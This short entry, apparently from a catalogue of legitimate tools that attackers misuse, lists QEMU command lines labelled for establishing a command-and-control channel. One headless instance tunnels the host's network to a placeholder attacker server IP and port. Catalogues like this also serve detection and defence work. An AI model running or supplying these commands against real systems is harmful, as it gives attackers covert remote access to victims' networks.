QEMU is a free and open-source emulator that uses dynamic binary translation to emulate a computer’s processor
qemu-system-x86_64 -boot d -cdrom <AnyISOImage> -m 6048 -device e1000,netdev=n1, mac=<AnyMAC> -smp 2 -netdev socket,id=n1,listen=:<Port>
Usecase: Establishing C2 Channel
qemu-system-i386.exe -m 1M -netdev user,id=lan,restrict=off -netdev socket,id=sock,connect=<AttackerServerIP>:<AttackerServerPort> -netdev hubport,id=port-lan,hubid=0,netdev=lan -netdev hubport,id=port-sock,hubid=0,netdev=sock -nographic
Usecase: Establishing C2 Channel